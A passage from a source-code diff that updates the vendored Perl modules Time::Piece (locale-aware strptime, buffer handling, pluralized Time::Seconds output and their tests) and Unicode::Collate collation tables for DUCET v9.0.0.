+    Locale->PM = SvPV_nolen( (SV *) *hv_fetch(locales, "PM", 2, 0) );
+
+    return;
+}
+
 MODULE = Time::Piece     PACKAGE = Time::Piece
 
 PROTOTYPES: ENABLE
@@ -1024,7 +959,7 @@
     int         islocal
     CODE:
     {
-        char tmpbuf[128];
+        char tmpbuf[TP_BUF_SIZE];
         struct tm mytm;
         size_t len;
 
@@ -1033,7 +968,7 @@
         else
             mytm = *gmtime(&epoch);
 
-        len = strftime(tmpbuf, sizeof tmpbuf, fmt, &mytm);
+        len = strftime(tmpbuf, TP_BUF_SIZE, fmt, &mytm);
         /*
         ** The following is needed to handle to the situation where
         ** tmpbuf overflows.  Basically we want to allocate a buffer
@@ -1048,14 +983,14 @@
         ** If there is a better way to make it portable, go ahead by
         ** all means.
         */
-        if ((len > 0 && len < sizeof(tmpbuf)) || (len == 0 && *fmt == '\0'))
+        if ((len > 0 && len < TP_BUF_SIZE) || (len == 0 && *fmt == '\0'))
         ST(0) = sv_2mortal(newSVpv(tmpbuf, len));
         else {
         /* Possibly buf overflowed - try again with a bigger buf */
-        int     fmtlen = strlen(fmt);
-        int    bufsize = fmtlen + sizeof(tmpbuf);
+        size_t fmtlen = strlen(fmt);
+        size_t bufsize = fmtlen + TP_BUF_SIZE;
         char*     buf;
-        int    buflen;
+        size_t    buflen;
 
         New(0, buf, bufsize, char);
         while (buf) {
@@ -1088,26 +1023,40 @@
     return; /* skip XSUBPP's PUTBACK */
 
 void
-_strptime ( string, format )
+_strptime ( string, format, got_GMT, SV* localization )
 	char * string
 	char * format
+	int    got_GMT
   PREINIT:
        struct tm mytm;
-       time_t t;
        char * remainder;
-       int got_GMT;
+       HV   * locales;
   PPCODE:
-       t = 0;
-       mytm = *gmtime(&t);
+       memset(&mytm, 0, sizeof(mytm));
+
+       /* sensible defaults. */
+       mytm.tm_mday = 1;
+       mytm.tm_year = 70;
+       mytm.tm_wday = 4;
        mytm.tm_isdst = -1; /* -1 means we don't know */
-       got_GMT = 0;
 
+       if( SvTYPE(SvRV( localization )) == SVt_PVHV ){
+           locales = (HV *)SvRV(localization);
+       }
+       else{
+            croak("_strptime requires a Hash Reference of locales");
+       }
+
+       /* populate our locale data struct (used for %[AaBbPp] flags) */
+       _populate_C_time_locale(aTHX_ locales );
+
        remainder = (char *)_strptime(aTHX_ string, format, &mytm, &got_GMT);
        if (remainder == NULL) {
            croak("Error parsing time");
        }
        if (*remainder != '\0') {
-           warn("garbage at end of string in strptime: %s", remainder);
+           warn("Garbage at end of string in strptime: %s", remainder);
+           warn("Perhaps a format flag did not match the actual input?");
        }
 
        return_11part_tm(aTHX_ SP, &mytm);
@@ -1143,13 +1092,13 @@
         else mytm = *localtime(&sec);
         /* Need to get: $s,$n,$h,$d,$m,$y */
 
-        EXTEND(SP, 9);
+        EXTEND(SP, 10);
         SP = push_common_tm(aTHX_ SP, &mytm);
         PUSHs(newSViv(mytm.tm_isdst));
         PUTBACK;
         {
             SV ** endsp = SP; /* the SV * under SP needs to be mortaled */
-            SP -= (9 - 1); /* subtract 0 based count of SVs to mortal */
+            SP -= (10 - 1); /* subtract 0 based count of SVs to mortal */
 /* mortal target of SP, then increment before function call
    so SP is already calculated before next comparison to not stall CPU */
             do {
@@ -1157,3 +1106,61 @@
             } while(SP <= endsp);
         }
         return;
+
+SV*
+_get_localization()
+    INIT:
+        HV* locales = newHV();
+        AV* wdays = newAV();
+        AV* weekdays = newAV();
+        AV* mons = newAV();
+        AV* months = newAV();
+        SV** tmp;
+        size_t len;
+        char buf[TP_BUF_SIZE];
+        size_t i;
+        time_t t = 1325386800; /*1325386800 = Sun, 01 Jan 2012 03:00:00 GMT*/
+        struct tm mytm = *gmtime(&t);
+     CODE:
+
+        for(i = 0; i < 7; ++i){
+
+            len = strftime(buf, TP_BUF_SIZE, "%a", &mytm);
+            av_push(wdays, (SV *) newSVpvn(buf, len));
+
+            len = strftime(buf, TP_BUF_SIZE, "%A", &mytm);
+            av_push(weekdays, (SV *) newSVpvn(buf, len));
+
+            ++mytm.tm_wday;
+        }
+
+        for(i = 0; i < 12; ++i){
+
+            len = strftime(buf, TP_BUF_SIZE, "%b", &mytm);
+            av_push(mons, (SV *) newSVpvn(buf, len));
+
+            len = strftime(buf, TP_BUF_SIZE, "%B", &mytm);
+            av_push(months, (SV *) newSVpvn(buf, len));
+
+            ++mytm.tm_mon;
+        }
+
+        tmp = hv_store(locales, "wday", 4, newRV_noinc((SV *) wdays), 0);
+        tmp = hv_store(locales, "weekday", 7, newRV_noinc((SV *) weekdays), 0);
+        tmp = hv_store(locales, "mon", 3, newRV_noinc((SV *) mons), 0);
+        tmp = hv_store(locales, "month", 5, newRV_noinc((SV *) months), 0);
+        tmp = hv_store(locales, "alt_month", 9, newRV((SV *) months), 0);
+
+        len = strftime(buf, TP_BUF_SIZE, "%p", &mytm);
+        tmp = hv_store(locales, "AM", 2, newSVpvn(buf,len), 0);
+        mytm.tm_hour = 18;
+        len = strftime(buf, TP_BUF_SIZE, "%p", &mytm);
+        tmp = hv_store(locales, "PM", 2, newSVpvn(buf,len), 0);
+
+        if(tmp == NULL || !SvOK( (SV *) *tmp)){
+            croak("Failed to get localization.");
+        }
+
+        RETVAL = newRV_noinc((SV *)locales);
+    OUTPUT:
+        RETVAL

Modified: vendor/perl/dist/cpan/Time-Piece/Seconds.pm
===================================================================
--- vendor/perl/dist/cpan/Time-Piece/Seconds.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Time-Piece/Seconds.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package Time::Seconds;
 use strict;
 
-our $VERSION = '1.31';
+our $VERSION = '1.3204';
 
 use Exporter 5.57 'import';
 
@@ -145,6 +145,13 @@
     $s->days / 365.24225;
 }
 
+sub _counted_objects {
+    my ($n, $counted) = @_;
+    my $number = sprintf("%d", $n); # does a "floor"
+    $counted .= 's' if 1 != $number;
+    return ($number, $counted);
+}
+
 sub pretty {
     my $s = shift;
     my $str = "";
@@ -155,19 +162,19 @@
     if ($s >= ONE_MINUTE) {
         if ($s >= ONE_HOUR) {
             if ($s >= ONE_DAY) {
-                my $days = sprintf("%d", $s->days); # does a "floor"
-                $str .= $days . " days, ";
+                my ($days, $sd) = _counted_objects($s->days, "day");
+                $str .= "$days $sd, ";
                 $s -= ($days * ONE_DAY);
             }
-            my $hours = sprintf("%d", $s->hours);
-            $str .= $hours . " hours, ";
+            my ($hours, $sh) = _counted_objects($s->hours, "hour");
+            $str .= "$hours $sh, ";
             $s -= ($hours * ONE_HOUR);
         }
-        my $mins = sprintf("%d", $s->minutes);
-        $str .= $mins . " minutes, ";
+        my ($mins, $sm) = _counted_objects($s->minutes, "minute");
+        $str .= "$mins $sm, ";
         $s -= ($mins * ONE_MINUTE);
     }
-    $str .= $s->seconds . " seconds";
+    $str .= join " ", _counted_objects($s->seconds, "second");
     return $str;
 }
 

Modified: vendor/perl/dist/cpan/Time-Piece/t/01base.t
===================================================================
--- vendor/perl/dist/cpan/Time-Piece/t/01base.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Time-Piece/t/01base.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-use Test::More tests => 13;
+use Test::More tests => 15;
 
 BEGIN { use_ok('Time::Piece'); }
 
@@ -37,3 +37,8 @@
 my $l_clone = Time::Piece->new($l);
 isa_ok($l, 'Time::Piece', 'custom localtime via clone');
 cmp_ok("$l_clone", 'eq', "$l", 'Clones match');
+
+#via clone with gmtime
+my $g_clone = Time::Piece->new($g);
+isa_ok($g, 'Time::Piece', 'custom gmtime via clone');
+cmp_ok("$g_clone", 'eq', "$g", 'Clones match');

Modified: vendor/perl/dist/cpan/Time-Piece/t/02core.t
===================================================================
--- vendor/perl/dist/cpan/Time-Piece/t/02core.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Time-Piece/t/02core.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-use Test::More tests => 102;
+use Test::More tests => 100;
 
 my $is_win32 = ($^O =~ /Win32/);
 my $is_qnx = ($^O eq 'qnx');
@@ -18,9 +18,6 @@
 is($t->day_of_month,      29);
 is($t->mon,                2);
 is($t->_mon,               1);
-is($t->monname,        'Feb');
-is($t->month,          'Feb');
-is($t->fullmonth, 'February');
 is($t->year,            2000);
 is($t->_year,            100);
 is($t->yy,              '00');
@@ -28,9 +25,6 @@
 cmp_ok($t->wday,        '==',         3);
 cmp_ok($t->_wday,       '==',         2);
 cmp_ok($t->day_of_week, '==',         2);
-cmp_ok($t->wdayname,    'eq',     'Tue');
-cmp_ok($t->day,         'eq',     'Tue');
-cmp_ok($t->fullday,     'eq', 'Tuesday');
 cmp_ok($t->yday,        '==',        59);
 cmp_ok($t->day_of_year, '==',        59);
 
@@ -76,15 +70,8 @@
 # 20 or 19, is fun, too..as far as I can read SUSv2 it should be 20.)
 cmp_ok($t->strftime('%d'), '==', 29);
 
-SKIP: {
-  skip "can't strftime %D, %R, %T or %e on Win32", 1 if $is_win32;
-  cmp_ok($t->strftime('%D'), 'eq', '02/29/00'); # Yech!
-}
-SKIP:{
-  skip "can't strftime %D, %R, %T or %e on Win32", 1 if $is_win32;
-  skip "can't strftime %e on QNX", 1 if $is_qnx;
-  cmp_ok($t->strftime('%e'), 'eq', '29');       # should test with < 10
-}
+cmp_ok($t->strftime('%D'), 'eq', '02/29/00'); # Yech!
+cmp_ok($t->strftime('%e'), 'eq', '29');       # should test with < 10
 
 # %h is locale-dependent
 cmp_ok($t->strftime('%H'), 'eq', '12'); # should test with < 10
@@ -96,17 +83,11 @@
 # %p, %P, and %r are not widely implemented,
 # and are possibly unportable (am or AM or a.m., and so on)
 
-SKIP: {
-  skip "can't strftime %R on Win32 or QNX", 1 if $is_win32 or $is_qnx;
-  cmp_ok($t->strftime('%R'), 'eq', '12:34');    # should test with > 12
-}
+cmp_ok($t->strftime('%R'), 'eq', '12:34');    # should test with > 12
 
 ok($t->strftime('%S') eq '56'); # should test with < 10
 
-SKIP: {
-  skip "can't strftime %T on Win32", 1 if $is_win32;
-  cmp_ok($t->strftime('%T'), 'eq', '12:34:56'); # < 12 and > 12
-}
+cmp_ok($t->strftime('%T'), 'eq', '12:34:56'); # < 12 and > 12
 
 # There are bugs in the implementation of %u in many platforms.
 # (e.g. Linux seems to think, despite the man page, that %u
@@ -115,7 +96,7 @@
 cmp_ok($t->strftime('%U'), 'eq', '09'); # Sun cmp Mon
 
 SKIP: {
-    skip "can't strftime %V on Win32 or QNX or VOS", 1 if $is_win32 or $is_qnx or $is_vos;
+    skip "can't strftime %V on QNX or VOS", 1 if $is_qnx or $is_vos;
     # is this test really broken on Mac OS? -- rjbs, 2006-02-08
     cmp_ok($t->strftime('%V'), 'eq', '09'); # Sun cmp Mon
 }
@@ -143,6 +124,7 @@
 
 $t->date_separator("/");
 cmp_ok($t->date_separator, 'eq', '/');
+cmp_ok(Time::Piece::date_separator(), 'eq', '/');
 cmp_ok($t->ymd,            'eq', '2000/02/29');
 
 $t->date_separator("-");
@@ -151,6 +133,7 @@
 
 $t->time_separator(".");
 cmp_ok($t->time_separator, 'eq', '.');
+cmp_ok(Time::Piece::time_separator(), 'eq', '.');
 cmp_ok($t->hms,            'eq', '12.34.56');
 
 $t->time_separator(":");
@@ -168,7 +151,8 @@
 
 $t->day_list(@days);
 
-cmp_ok($t->day, 'eq', "Tue");
+my @nmdays = Time::Piece::day_list();
+is_deeply (\@nmdays, \@days);
 
 my @months = $t->mon_list();
 
@@ -184,6 +168,8 @@
 $t->mon_list(@months);
 
 cmp_ok($t->month, 'eq', "Feb");
+my @nmmonths = Time::Piece::mon_list();
+is_deeply (\@nmmonths, \@months);
 
 cmp_ok(
   $t->datetime(date => '/', T => ' ', time => '-'),
@@ -233,20 +219,16 @@
   951827696
 );
 
-#from Time::Piece::Plus
-#test reverse parsing
-my $now = localtime();
-my $strp_format = "%Y-%m-%d %H:%M:%S";
 
-my $now_str = $now->strftime($strp_format);
-
-my $now_parsed = $now->strptime($now_str, $strp_format);
-
-cmp_ok($now_parsed->epoch, '==', $now->epoch);
-cmp_ok($now_parsed->strftime($strp_format), 'eq', $now->strftime($strp_format));
-cmp_ok($now_parsed->strftime(), 'eq', $now->strftime());
-
-
 my $s = Time::Seconds->new(-691050);
 is($s->pretty, 'minus 7 days, 23 hours, 57 minutes, 30 seconds');
 
+$s = Time::Seconds->new(-90061);
+is($s->pretty, 'minus 1 day, 1 hour, 1 minute, 1 second');
+
+$s = Time::Seconds->new(10);
+is($s->pretty, '10 seconds');
+$s = Time::Seconds->new(130);
+is($s->pretty, '2 minutes, 10 seconds');
+$s = Time::Seconds->new(7330);
+is($s->pretty, '2 hours, 2 minutes, 10 seconds', "Format correct");

Modified: vendor/perl/dist/cpan/Time-Piece/t/02core_dst.t
===================================================================
--- vendor/perl/dist/cpan/Time-Piece/t/02core_dst.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Time-Piece/t/02core_dst.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,4 @@
-use Test::More tests => 60;
+use Test::More tests => 56;
 
 my $is_win32 = ($^O =~ /Win32/);
 my $is_qnx = ($^O eq 'qnx');
@@ -25,9 +25,6 @@
 is($t->day_of_month,       9);
 is($t->mon,                7);
 is($t->_mon,               6);
-is($t->monname,        'Jul');
-is($t->month,          'Jul');
-is($t->fullmonth,     'July');
 is($t->year,            2013);
 is($t->_year,            113);
 is($t->yy,              '13');
@@ -35,9 +32,6 @@
 cmp_ok($t->wday,        '==',         3);
 cmp_ok($t->_wday,       '==',         2);
 cmp_ok($t->day_of_week, '==',         2);
-cmp_ok($t->wdayname,    'eq',     'Tue');
-cmp_ok($t->day,         'eq',     'Tue');
-cmp_ok($t->fullday,     'eq', 'Tuesday');
 cmp_ok($t->yday,        '==',        189);
 cmp_ok($t->day_of_year, '==',        189);
 
@@ -125,7 +119,7 @@
 
 
 SKIP: {
-	skip "Extra tests for Linux, BSD only.", 6 unless $is_linux or $is_mac or $is_bsd;
+	skip "Extra tests for Linux, BSD only.", 8 unless $is_linux or $is_mac or $is_bsd;
 
     local $ENV{TZ} = "EST5EDT4";
     Time::Piece::_tzset();
@@ -133,14 +127,13 @@
     cmp_ok(scalar($lt->tzoffset), 'eq', '-14400');
     cmp_ok($lt->strftime("%Y-%m-%d %H:%M:%S %Z"), 'eq', '2013-07-09 08:07:11 EDT');
     like  ($lt->strftime("%z"), qr/-0400|EDT/); #windows: %Z and %z are the same
+    is    ($lt->strftime("%s"), 1373371631, 'Epoch output is the same with EDT');
 
     $lt = localtime(1357733231); #2013-01-09T12:07:11
     cmp_ok(scalar($lt->tzoffset), 'eq', '-18000');
     cmp_ok($lt->strftime("%Y-%m-%d %H:%M:%S %Z"), 'eq', '2013-01-09 07:07:11 EST');
     like  ($lt->strftime("%z"), qr/-0500|EST/);
+    is    ($lt->strftime("%s"), 1357733231, 'Epoch output is the same with EST');
 }
 
 
-
-
-

Modified: vendor/perl/dist/cpan/Time-Piece/t/03compare.t
===================================================================
--- vendor/perl/dist/cpan/Time-Piece/t/03compare.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Time-Piece/t/03compare.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
-use Test;
-BEGIN { plan tests => 5 }
+use Test::More;
+BEGIN { plan tests => 11 }
 use Time::Piece;
 
 my @t = ('2002-01-01 00:00',
@@ -8,12 +8,18 @@
 @t = map Time::Piece->strptime($_, '%Y-%m-%d %H:%M'), @t;
 
 ok($t[0] < $t[1]);
+ok($t[0] < $t[1]->epoch);
 
 ok($t[0] != $t[1]);
 
 ok($t[0] == $t[0]);
+ok($t[0] == $t[0]->epoch);
 
 ok($t[0] != $t[1]);
 
 ok($t[0] <= $t[1]);
+ok($t[0] <= $t[1]->epoch);
 
+is($t[0] cmp $t[1], -1);
+is($t[1] cmp $t[0],  1);
+is($t[0] cmp $t[0],  0);

Modified: vendor/perl/dist/cpan/Time-Piece/t/07arith.t
===================================================================
--- vendor/perl/dist/cpan/Time-Piece/t/07arith.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Time-Piece/t/07arith.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-use Test::More tests => 25;
+use Test::More tests => 43;
 
-BEGIN { use_ok('Time::Piece'); }
+BEGIN { use_ok('Time::Piece'); use_ok('Time::Seconds'); }
 
 ok(1);
 
@@ -45,3 +45,39 @@
 is($t9->year, 2008);
 is($t9->mon, 12);
 is($t9->mday, 1);
+
+eval { $t->add_months(); };
+like($@, qr/add_months requires a number of months/);
+
+# Tests for Time::Seconds start here
+my $s = $t - $t7;
+is($s->minutes, 44640);
+is($s->hours,     744);
+is($s->days,       31);
+is(int($s->weeks),  4);
+is(int($s->months), 1);
+is(int($s->years),  0);
+
+$s2 = $s->copy;
+is($s2->minutes, 44640, 'Copy Time::Seconds object');
+$s2 = $s->copy + 60;
+is($s2->minutes, 44641, 'Add integer to Time::Seconds object');
+$s2 += ONE_HOUR;
+is($s2->minutes, 44701, 'Add exported constant to Time::Seconds object');
+$s2 += $s2;
+is($s2->minutes, 89402, 'Add one Time::Seconds object to another');
+
+$s2 += 300 * ONE_DAY;
+is(int($s2->financial_months), 12);
+is(int($s2->months),           11);
+
+$s2 = Time::Seconds->new();
+is($s2->seconds,  0, 'Empty Time::Seconds constructor is 0s');
+my $s3 = Time::Seconds->new(10);
+$s2 = $s2 + $s3;
+is($s2->seconds, 10, 'Add 2 Time::Seconds objects');
+$s2 -= $s3;
+is($s2->seconds,  0, 'Subtract one Time::Seconds object from another');
+
+eval { $s2 = $s2 + $t; };
+like($@, qr/Can't use non Seconds object in operator overload/);

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Big5.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Big5.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Big5.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 
 my %u2p;
 my $wt = 0x8000;

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/GB2312.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/GB2312.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/GB2312.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 
 my %u2p;
 my $wt = 0x8000;

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/JISX0208.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/JISX0208.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/JISX0208.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 
 my %u2p;
 my $wt = 0x8000;

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Korean.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Korean.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Korean.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,21 +4,21 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 
 my %jamo2prim = (
-    '1100', 0x3A5E,   '1101', 0x3A5F,   '1102', 0x3A60,   '1103', 0x3A61,
-    '1105', 0x3A63,   '1106', 0x3A64,   '1107', 0x3A65,   '1109', 0x3A67,
-    '110A', 0x3A68,   '110B', 0x3A69,   '110C', 0x3A6A,   '110E', 0x3A6C,
-    '110F', 0x3A6D,   '1110', 0x3A6E,   '1111', 0x3A6F,   '1112', 0x3A70,
-    '1161', 0x3ADC,   '1162', 0x3ADD,   '1163', 0x3ADE,   '1165', 0x3AE0,
-    '1166', 0x3AE1,   '1167', 0x3AE2,   '1168', 0x3AE3,   '1169', 0x3AE4,
-    '116A', 0x3AE5,   '116B', 0x3AE6,   '116C', 0x3AE7,   '116D', 0x3AE8,
-    '116E', 0x3AE9,   '116F', 0x3AEA,   '1170', 0x3AEB,   '1171', 0x3AEC,
-    '1172', 0x3AED,   '1173', 0x3AEE,   '1174', 0x3AEF,   '1175', 0x3AF0,
-    '11A8', 0x3B3A,   '11AB', 0x3B3D,   '11AF', 0x3B41,   '11B7', 0x3B49,
-    '11B8', 0x3B4A,   '11BC', 0x3B4E,   '11BD', 0x3B4F,
-); # for DUCET v8.0.0
+    '1100', 0x3BF5,   '1101', 0x3BF6,   '1102', 0x3BF7,   '1103', 0x3BF8,
+    '1105', 0x3BFA,   '1106', 0x3BFB,   '1107', 0x3BFC,   '1109', 0x3BFE,
+    '110A', 0x3BFF,   '110B', 0x3C00,   '110C', 0x3C01,   '110E', 0x3C03,
+    '110F', 0x3C04,   '1110', 0x3C05,   '1111', 0x3C06,   '1112', 0x3C07,
+    '1161', 0x3C73,   '1162', 0x3C74,   '1163', 0x3C75,   '1165', 0x3C77,
+    '1166', 0x3C78,   '1167', 0x3C79,   '1168', 0x3C7A,   '1169', 0x3C7B,
+    '116A', 0x3C7C,   '116B', 0x3C7D,   '116C', 0x3C7E,   '116D', 0x3C7F,
+    '116E', 0x3C80,   '116F', 0x3C81,   '1170', 0x3C82,   '1171', 0x3C83,
+    '1172', 0x3C84,   '1173', 0x3C85,   '1174', 0x3C86,   '1175', 0x3C87,
+    '11A8', 0x3CD1,   '11AB', 0x3CD4,   '11AF', 0x3CD8,   '11B7', 0x3CE0,
+    '11B8', 0x3CE1,   '11BC', 0x3CE5,   '11BD', 0x3CE6,
+); # for DUCET v9.0.0
 
 my(%u2e, $prim, $wt);
 while (<DATA>) {

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Pinyin.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Pinyin.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Pinyin.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 
 my %u2p;
 my $wt = 0x8000;

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Stroke.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Stroke.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Stroke.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 
 my %u2p;
 my $wt = 0x8000;

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Zhuyin.pm
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Zhuyin.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/CJK/Zhuyin.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.19';
+our $VERSION = '1.25';
 
 my %u2p;
 my $wt = 0x8000;

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/af.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/af.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/af.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0149      ; [.1D34.0020.0009] # LATIN SMALL LETTER N PRECEDED BY APOSTROPHE
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0149      ; [.1DB9.0020.0009] # LATIN SMALL LETTER N PRECEDED BY APOSTROPHE
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ar.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ar.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/ar.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,15 +1,15 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0629      ; [.2296.0021.0002] # ARABIC LETTER TEH MARBUTA
-FE94      ; [.2296.0021.0019] # ARABIC LETTER TEH MARBUTA FINAL FORM
-FE93      ; [.2296.0021.001A] # ARABIC LETTER TEH MARBUTA ISOLATED FORM
-0649      ; [.233A.0021.0002] # ARABIC LETTER ALEF MAKSURA
-FBE8      ; [.233A.0021.0017] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM
-FBE9      ; [.233A.0021.0018] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM
-FEF0      ; [.233A.0021.0019] # ARABIC LETTER ALEF MAKSURA FINAL FORM
-FEEF      ; [.233A.0021.001A] # ARABIC LETTER ALEF MAKSURA ISOLATED FORM
-FC90      ; [.233A.0021.001B] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM
-FC5D      ; [.233A.0021.001C] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0629      ; [.231D.0021.0002] # ARABIC LETTER TEH MARBUTA
+FE94      ; [.231D.0021.0019] # ARABIC LETTER TEH MARBUTA FINAL FORM
+FE93      ; [.231D.0021.001A] # ARABIC LETTER TEH MARBUTA ISOLATED FORM
+0649      ; [.23C6.0021.0002] # ARABIC LETTER ALEF MAKSURA
+FBE8      ; [.23C6.0021.0017] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM
+FBE9      ; [.23C6.0021.0018] # ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM
+FEF0      ; [.23C6.0021.0019] # ARABIC LETTER ALEF MAKSURA FINAL FORM
+FEEF      ; [.23C6.0021.001A] # ARABIC LETTER ALEF MAKSURA ISOLATED FORM
+FC90      ; [.23C6.0021.001B] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF FINAL FORM
+FC5D      ; [.23C6.0021.001C] # ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM
 ENTRY
 };

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/as.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/as.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/as.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,14 +1,14 @@
 +{
-   locale_version => 1.19,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0982      ; [.2640.0020.0002][.FFF1.0000.0000] # BENGALI SIGN ANUSVARA
-0981      ; [.2640.0020.0002][.FFF2.0000.0000] # BENGALI SIGN CANDRABINDU
-0983      ; [.2640.0020.0002][.FFF3.0000.0000] # BENGALI SIGN VISARGA
-0994      ; [.2640.0020.0002][.FFF0.0000.0000] # BENGALI LETTER AU
-09CE      ; [.2650.0020.0002][.FFF0.0000.0000] # BENGALI LETTER KHANDA TA
-09A4 09CD 200D ; [.2650.0020.0002][.FFF0.0000.0000] # <BENGALI LETTER TA, BENGALI SIGN VIRAMA, ZERO WIDTH JOINER>
-09A4      ; [.2650.0020.0002][.FFF1.0000.0000] # BENGALI LETTER TA
-0995 09CD 09B7 ; [.2662.0020.0002][.FFF1.0000.0000] # <BENGALI LETTER KA, BENGALI SIGN VIRAMA, BENGALI LETTER SSA>
-09B9      ; [.2662.0020.0002][.FFF0.0000.0000] # BENGALI LETTER HA
+   locale_version => 1.25,
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0982      ; [.26CD.0020.0002][.FFF1.0000.0000] # BENGALI SIGN ANUSVARA
+0981      ; [.26CD.0020.0002][.FFF2.0000.0000] # BENGALI SIGN CANDRABINDU
+0983      ; [.26CD.0020.0002][.FFF3.0000.0000] # BENGALI SIGN VISARGA
+0994      ; [.26CD.0020.0002][.FFF0.0000.0000] # BENGALI LETTER AU
+09CE      ; [.26DD.0020.0002][.FFF0.0000.0000] # BENGALI LETTER KHANDA TA
+09A4 09CD 200D ; [.26DD.0020.0002][.FFF0.0000.0000] # <BENGALI LETTER TA, BENGALI SIGN VIRAMA, ZERO WIDTH JOINER>
+09A4      ; [.26DD.0020.0002][.FFF1.0000.0000] # BENGALI LETTER TA
